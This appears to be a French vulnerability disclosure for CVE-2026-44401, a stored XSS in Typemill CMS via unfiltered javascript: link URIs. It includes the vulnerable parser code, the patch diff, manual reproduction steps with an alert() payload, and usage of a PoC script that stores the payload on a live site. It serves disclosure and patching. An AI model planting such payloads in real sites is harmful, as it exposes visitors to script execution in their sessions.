
XSS persistante dans Typemill CMS : l'analyseur Markdown laisse passer les URI `javascript:` sans filtre. Writeup + PoC.
| CVE | CVE-2026-44401 |
| CWE | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| Versions affectées | typemill/typemill >= 2.0.0, < 2.23.0 |
| Corrigé dans | v2.23.0 (commit 31b72ea) |
| Authentification requise | Oui, tout rôle disposant des droits ACL system:update (admin ou manager par défaut) |
| CVSS (rapporteur) | 7.6 / Moyen-Élevé |
| CVSS-B (VulnCheck, v4.0) | 4.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L |
| Crédit | sn0x (@sn0x-sharma) |
| Avis | VulnCheck |
Le score est Moyen plutôt que Critique car il nécessite
PR:H(privilège de configuration du thème) +UI:A(une victime doit cliquer sur le lien) — mais la charge utile est stockée, donc elle s'exécute pour chaque visiteur qui clique.
Typemill est un CMS Markdown à fichiers plats. Son analyseur Markdown ne valide pas le schéma d'URI des cibles de liens avant de les écrire dans un attribut href. Un utilisateur ayant accès à la configuration du thème (par exemple le champ texte Landingpage Intro Segment, qui accepte du Markdown brut) peut stocker un lien javascript:. Il est rendu sans échappement sur la page d'accueil publique et s'exécute dans le navigateur de quiconque clique dessus : XSS persistant (stocké).
ParsedownExtension::inlineLink() — system/typemill/Extensions/ParsedownExtension.php, lignes 934 à 996 (v2.22.0, dernier tag vulnérable).
Les liens relatifs et les liens media/ reçoivent un préfixe d'URL de base, mais rien ne vérifie le schéma de l'URI avant qu'il ne soit assigné à href :
# start typemill: if relative link or media-link
$href = $matches[1];
if($href[0] == '/')
{
$href = $this->baseUrl . $href;
}
elseif(substr( $href, 0, 6 ) === "media/")
{
$href = $this->baseUrl . '/' . $href;
}
# end typemill
$Element['attributes']['href'] = $href; // <-- no scheme validation
[Click me](javascript:alert(document.domain)) → <a href="javascript:alert(document.domain)">Click me</a>.
Chemin de rendu pour ce sink spécifique : themes/cyanine/home/landingpageIntro.twig → TwigMarkdownExtension.php → ParsedownExtension.php. Tout autre champ de thème qui fait passer le Markdown utilisateur par le même analyseur est également concerné.
# end typemill
-
+
+ # block dangerous URI schemes (e.g. javascript:, vbscript:, data:)
+ $scheme = parse_url($href, PHP_URL_SCHEME);
+ if ($scheme !== null && !in_array(strtolower($scheme), ['http', 'https', 'mailto', 'ftp'], true))
+ {
+ $href = '#';
+ }
+
$Element['attributes']['href'] = $href;
Même liste blanche (http, https, mailto, ftp) proposée dans le rapport original. Confirmé en comparant ParsedownExtension.php entre les tags v2.22.0 et v2.23.0.
Les routes de configuration du thème (GET /tm/themes, POST /api/v1/theme) sont soumises à la ressource ACL system/update — selon les définitions de routes de Typemill lui-même (routes/web.php, routes/api.php) celle-ci est accordée par défaut au rôle manager, pas seulement à l'administrateur. L'exposition n'est donc pas limitée au compte administrateur de plus haut niveau.
Connectez-vous en tant qu'utilisateur disposant d'un accès à la configuration du thème → Système → Thèmes → Configurer (thème actif, p. ex. Cyanine).
Développez Landingpage Intro Segment → dans « Texte pour votre introduction de page d'accueil (utilisez le markdown) », saisissez :
[Click me](javascript:alert(document.domain))
Enregistrez. Visitez la page d'accueil en tant que n'importe quel utilisateur et cliquez sur le lien → le JS s'exécute dans la session de ce visiteur.
CVE-2026-44401_POC.py - deux modes :
# Offline: exercises the parser directly against a Typemill checkout
# (composer install already run, so vendor/ exists)
python3 CVE-2026-44401_POC.py local --source /path/to/typemill
# ...or straight against a running container, same way it was originally verified
python3 CVE-2026-44401_POC.py local --docker typemill --container-path /var/www/html
# Live: logs in, stores the payload via the theme-settings API, confirms the
# raw javascript: href on the public homepage, restores the original value
python3 CVE-2026-44401_POC.py remote --url http://localhost:8080 \
--username admin --password '********'
Reproduction manuelle minimale (ce qui a permis de vérifier le rapport) :
php -r '
require "vendor/autoload.php";
require "system/typemill/Extensions/ParsedownExtension.php";
$p = new \Typemill\Extensions\ParsedownExtension("",[],null);
echo $p->markup($p->text("[x](javascript:alert(1))"));
'
# vulnerable: <p><a href="javascript:alert(1)">x</a></p>
# patched: <p><a href="#">x</a></p>